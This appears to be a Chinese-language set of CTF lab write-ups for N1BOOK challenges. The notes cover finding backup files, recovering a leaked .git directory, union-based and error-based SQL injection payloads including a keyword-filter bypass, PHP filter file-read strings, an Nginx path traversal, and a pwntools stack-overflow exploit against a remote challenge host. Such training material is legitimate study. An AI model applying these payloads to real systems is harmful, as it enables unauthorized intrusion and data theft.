N1BOOK 记录
参考《从0到1 CTFer成长之路》
[第一章 web入门]常见的搜集
先验知识:常见的敏感文件
- gedit备份文件,格式为
filename~
,比如index.php~
- vim备份文件,格式为
.filename.swp
或者*.swo
或者*.swn
,比如.index.php.swp
- robots.txt
- 还有
filename.bak
文件
方法
- 地址后加
/index.php~
/.index.php.swp
会即刻下载备份文件,可通过vi index.php
建一个只有空格的文件,然后通过vim -r index.php
进行恢复即可得到
/robots.txt
查看这个文本文件
综上可得
n1book
[第一章 web入门]粗心的小李
git泄露
方法
- 借助GitHacker工具
git clone https://github.com/WangYihang/GitHacker.git
cd GitHacker
python Githacker.py http://0fcbe3ec-471a-452a-9e5f-953c5026eb18.node3.buuoj.cn/.git
- 进入恢复后的文件夹
cd 0fcbe3ec-471a-452a-9e5f-953c5026eb18_node3_buuoj_cn_
,有个index.html
- 浏览器打开index.html即可拿到flag
n1book
[第一章 web入门]SQL注入-1
- 打开题目链接可以看到
- 试试
id=1+1
的回显,发现和id=1
结果相同,所以不是数字型注入,可能是字符型
- 尝试
id=1a
发现和id=1
结果相同,所以确实是字符型
- 尝试用
id=1'#
,单引号用于闭合前面的单引号,井号用于注释后面预置的单引号。这里注意:#一定要用URL编码,即%23,所以实际上需要输入id=1'%23
单引号会被自动转成%27
- 可以成功显示
- 优先尝试UNION注入
id=-1'union select 1,2,3%23
,其中-1是为了使第一行记录无法被查询到,当然,除了-1也可以是一个很大的值比如1024、100等。后面的查询语句是尝试测试哪些字段可以回显参考
- 所以将数字2改成我们想查询的内容:所有表名
group_concat(table_name)
,group_concat
是用,
联合多行记录的函数。所以为查询本数据库的其他所有表名,需id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
,随即看到fl4g
- 查询fl4g中的字段名,
id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='fl4g'%23
- 获取fllllag的内容,
id=-1'union select 1,fllllag,3 from fl4g%23
n1book
[第一章 web入门]SQL注入-2
先验知识
- 有的网站会开启错误调试信息方便开发者调试,可以利用报错信息进行报错注入
- updatexml第二个参数应为合法XPATH路径,否则会在引发报错的同时输出传入的参数
- dual用于测试数据库是否可以正常使用
方法
- 在连接后加上
/login.php
,右键查看源码
- 回到登录页面,打开Burp Suite,安装方法参考
- 推荐浏览器插件:SwitchyOmega,可以省去每次设置代理的步骤,使用BurpSuite时,点击插件选择对应Burp Suite的代理即可
- 在login界面随便输入用户名和密码如1,1然后点击登录
- 可以在Burp Suite中Proxy->HTTP history看到记录
- CTRL+R,发送到Repeater,在login.php后添加
?tips=1
,点击Go,看到报错
- 用dual进行测试
name=1'and updatexml(1,concat(0x7e,(select 1 from dual)),1)#&pass=xxxx
- 说明存在过滤,将select改成selEct重新发送后回显正常
- 之后的操作与与SQL注入1同理,将selEct后的1改为group_concat(table_name),dual改为information_schema.tables where table_schema=database()以查看所有表名
- 仍与SQL注入1同理,查看fl4g的字段,分别改为group_concat(column_name)和information_schema.columns where table_name='fl4g'
- 获取flag,
selEct flag from fl4g
n1book
[第一章 web入门]afr_1
先验知识
- PHP向用户提供的指定待打开文件的方式,是一个文件流
- PHP的Filter机制,可对目前的协议进行一定的处理,比如将当前文件流的内容进行Base64编码。使用方法
php://filter/read=convert.base64-encode/resource=xxx
- 利用Filter机制,构造形如以上的攻击数据可以读取文件,拿到各种文件的源码
方法
- 点击题目链接
p=php://filter/read=convert.base64-encode/resource=hello
PD9waHAKCmVjaG8gImhlbGxvIHdvcmxkISI7
Base64解码结果为
<?php
echo "hello world!";
- 尝试改p,发现
p=flag
时有回显,所以应该存在这么个文件
p=php://filter/read=convert.base64-encode/resource=flag
PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9
- 解码结果为
<?php
die('no no no');
//n1book{afr_1_solved}
[第一章 web入门]afr_2
先验知识
Nginx错误配置可能产生目录穿越漏洞,比如:
location /static {
alias /home/myapp/static/;
}
由于static后没有加/,如果用户请求/static../,拼接到alias进会变成/home/myapp/static/../会穿越到myapp目录
方法
- 点击题目链接
- 右键查看源码
- 查看img目录
- 目录穿越
- 下载flag,用记事本打开即可
n1book
[第五章 CTF之RE章]Hello, RE
直接拖到ida64反编译即可看到flag
n1book
[第六章 CTF之PWN章]stack
题目提供了libc-2.27.so和stack,根据经验知道这题环境是Ubuntu18,需要进行堆栈平衡
checksec stack
- IDA64反编译,并查看
main
函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln(*(_QWORD *)&argc, argv, envp);
return 0;
}
- 进一步查看
vuln
,发现栈溢出漏洞
- 双击变量
v1
查看栈信息,所以当覆盖'a'*18
后即可到达函数返回地址
- 同时注意到IDA64的函数窗口有个
shell
,查看以下发现
- 所以需要将
shell
的地址0x覆盖到vuln
的返回地址即可。由于前面提到需要堆栈平衡,我们还要知道shell的ret地址
- 综上,有exp如下
from pwn import *
#p = process('./stack')
p = remote('node3.buuoj.cn', 25413)
shell = 0x400537
retn = 0x40054e
payload = 'a' * 18 + p64(retn) + p64(shell)
p.sendline(payload)
p.interactive()
python exp.py
n1book